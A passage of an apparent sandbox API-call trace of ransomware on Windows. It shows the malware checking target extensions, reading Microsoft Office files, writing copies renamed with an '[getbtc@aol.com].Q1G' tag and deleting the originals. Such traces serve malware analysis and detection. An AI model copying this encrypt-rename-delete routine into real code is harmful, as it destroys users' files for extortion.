hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=209) returned 1 [0250.219] CloseHandle (hObject=0x3b0) returned 1 [0250.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 0x20 [0250.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.219] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.219] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.220] GetLastError () returned 0x0 [0250.220] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xd1, lpOverlapped=0x0) returned 1 [0250.221] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0250.222] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.222] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0250.222] SetEndOfFile (hFile=0x324) returned 1 [0250.222] CloseHandle (hObject=0x324) returned 1 [0250.222] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.222] SetEndOfFile (hFile=0x3b0) returned 1 [0250.224] CloseHandle (hObject=0x3b0) returned 1 [0250.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 1 [0250.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.227] lstrlenW (lpString=".doc") returned 4 [0250.227] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.227] lstrlenW (lpString=".docx") returned 5 [0250.227] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.227] lstrlenW (lpString=".pdf") returned 4 [0250.227] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.227] lstrlenW (lpString=".xls") returned 4 [0250.227] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.227] lstrlenW (lpString=".xlsx") returned 5 [0250.227] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.227] lstrlenW (lpString=".ppt") returned 4 [0250.227] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.227] lstrlenW (lpString=".zip") returned 4 [0250.227] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.227] lstrlenW (lpString=".rar") returned 4 [0250.227] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.227] lstrlenW (lpString=".bz2") returned 4 [0250.227] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.227] lstrlenW (lpString=".7z") returned 3 [0250.228] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString=".dbf") returned 4 [0250.228] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString=".1cd") returned 4 [0250.228] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString=".jpg") returned 4 [0250.228] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString=".doc") returned 4 [0250.228] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.228] lstrlenW (lpString=".docx") returned 5 [0250.228] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.228] lstrlenW (lpString=".pdf") returned 4 [0250.228] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.228] lstrlenW (lpString=".xls") returned 4 [0250.228] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.228] lstrlenW (lpString=".xlsx") returned 5 [0250.228] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.228] lstrlenW (lpString=".ppt") returned 4 [0250.228] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString=".zip") returned 4 [0250.228] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.228] lstrlenW (lpString=".rar") returned 4 [0250.228] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.228] lstrlenW (lpString=".bz2") returned 4 [0250.228] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.228] lstrlenW (lpString=".7z") returned 3 [0250.228] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.228] lstrlenW (lpString=".dbf") returned 4 [0250.228] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.229] lstrlenW (lpString=".1cd") returned 4 [0250.229] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0250.229] lstrlenW (lpString=".jpg") returned 4 [0250.229] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.229] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.229] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19 [0250.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.229] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0250.229] CloseHandle (hObject=0x3b0) returned 1 [0250.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 0x20 [0250.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.230] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.230] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.230] GetLastError () returned 0x0 [0250.230] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0250.232] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.232] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.232] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0250.232] SetEndOfFile (hFile=0x324) returned 1 [0250.233] CloseHandle (hObject=0x324) returned 1 [0250.233] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.233] SetEndOfFile (hFile=0x3b0) returned 1 [0250.235] CloseHandle (hObject=0x3b0) returned 1 [0250.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 1 [0250.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.236] lstrlenW (lpString=".doc") returned 4 [0250.236] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.236] lstrlenW (lpString=".docx") returned 5 [0250.236] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.236] lstrlenW (lpString=".pdf") returned 4 [0250.236] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.236] lstrlenW (lpString=".xls") returned 4 [0250.236] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.236] lstrlenW (lpString=".xlsx") returned 5 [0250.236] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.236] lstrlenW (lpString=".ppt") returned 4 [0250.236] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.236] lstrlenW (lpString=".zip") returned 4 [0250.236] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.236] lstrlenW (lpString=".rar") returned 4 [0250.236] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.236] lstrlenW (lpString=".bz2") returned 4 [0250.236] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.236] lstrlenW (lpString=".7z") returned 3 [0250.236] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.236] lstrlenW (lpString=".dbf") returned 4 [0250.236] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.236] lstrlenW (lpString=".1cd") returned 4 [0250.236] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.236] lstrlenW (lpString=".jpg") returned 4 [0250.236] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.237] lstrlenW (lpString=".doc") returned 4 [0250.237] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.237] lstrlenW (lpString=".docx") returned 5 [0250.237] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.237] lstrlenW (lpString=".pdf") returned 4 [0250.237] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.237] lstrlenW (lpString=".xls") returned 4 [0250.237] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.237] lstrlenW (lpString=".xlsx") returned 5 [0250.237] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.237] lstrlenW (lpString=".ppt") returned 4 [0250.237] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.237] lstrlenW (lpString=".zip") returned 4 [0250.237] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.237] lstrlenW (lpString=".rar") returned 4 [0250.237] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.237] lstrlenW (lpString=".bz2") returned 4 [0250.237] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.237] lstrlenW (lpString=".7z") returned 3 [0250.237] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.237] lstrlenW (lpString=".dbf") returned 4 [0250.237] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.237] lstrlenW (lpString=".1cd") returned 4 [0250.237] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0250.237] lstrlenW (lpString=".jpg") returned 4 [0250.237] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.237] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.238] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19 [0250.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.238] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0250.238] CloseHandle (hObject=0x3b0) returned 1 [0250.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 0x20 [0250.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.238] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.238] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.239] GetLastError () returned 0x0 [0250.239] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0250.240] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.241] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.241] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0250.241] SetEndOfFile (hFile=0x324) returned 1 [0250.241] CloseHandle (hObject=0x324) returned 1 [0250.241] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.241] SetEndOfFile (hFile=0x3b0) returned 1 [0250.243] CloseHandle (hObject=0x3b0) returned 1 [0250.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 1 [0250.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.244] lstrlenW (lpString=".doc") returned 4 [0250.244] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.244] lstrlenW (lpString=".docx") returned 5 [0250.244] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.244] lstrlenW (lpString=".pdf") returned 4 [0250.244] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.244] lstrlenW (lpString=".xls") returned 4 [0250.244] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.244] lstrlenW (lpString=".xlsx") returned 5 [0250.244] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.244] lstrlenW (lpString=".ppt") returned 4 [0250.244] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.244] lstrlenW (lpString=".zip") returned 4 [0250.244] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.244] lstrlenW (lpString=".rar") returned 4 [0250.244] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.244] lstrlenW (lpString=".bz2") returned 4 [0250.244] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.244] lstrlenW (lpString=".7z") returned 3 [0250.244] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.244] lstrlenW (lpString=".dbf") returned 4 [0250.244] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.245] lstrlenW (lpString=".1cd") returned 4 [0250.245] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.245] lstrlenW (lpString=".jpg") returned 4 [0250.245] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.245] lstrlenW (lpString=".doc") returned 4 [0250.245] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.245] lstrlenW (lpString=".docx") returned 5 [0250.245] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.245] lstrlenW (lpString=".pdf") returned 4 [0250.245] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.245] lstrlenW (lpString=".xls") returned 4 [0250.245] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.245] lstrlenW (lpString=".xlsx") returned 5 [0250.245] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.245] lstrlenW (lpString=".ppt") returned 4 [0250.245] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.245] lstrlenW (lpString=".zip") returned 4 [0250.245] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.245] lstrlenW (lpString=".rar") returned 4 [0250.245] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.245] lstrlenW (lpString=".bz2") returned 4 [0250.245] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.245] lstrlenW (lpString=".7z") returned 3 [0250.246] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.246] lstrlenW (lpString=".dbf") returned 4 [0250.246] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.246] lstrlenW (lpString=".1cd") returned 4 [0250.246] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0250.246] lstrlenW (lpString=".jpg") returned 4 [0250.246] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.246] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0250.246] lstrlenW (lpString="MSPUB.HXS") returned 9 [0250.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.246] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1886518) returned 1 [0250.246] CloseHandle (hObject=0x3b0) returned 1 [0250.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs")) returned 0x20 [0250.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft 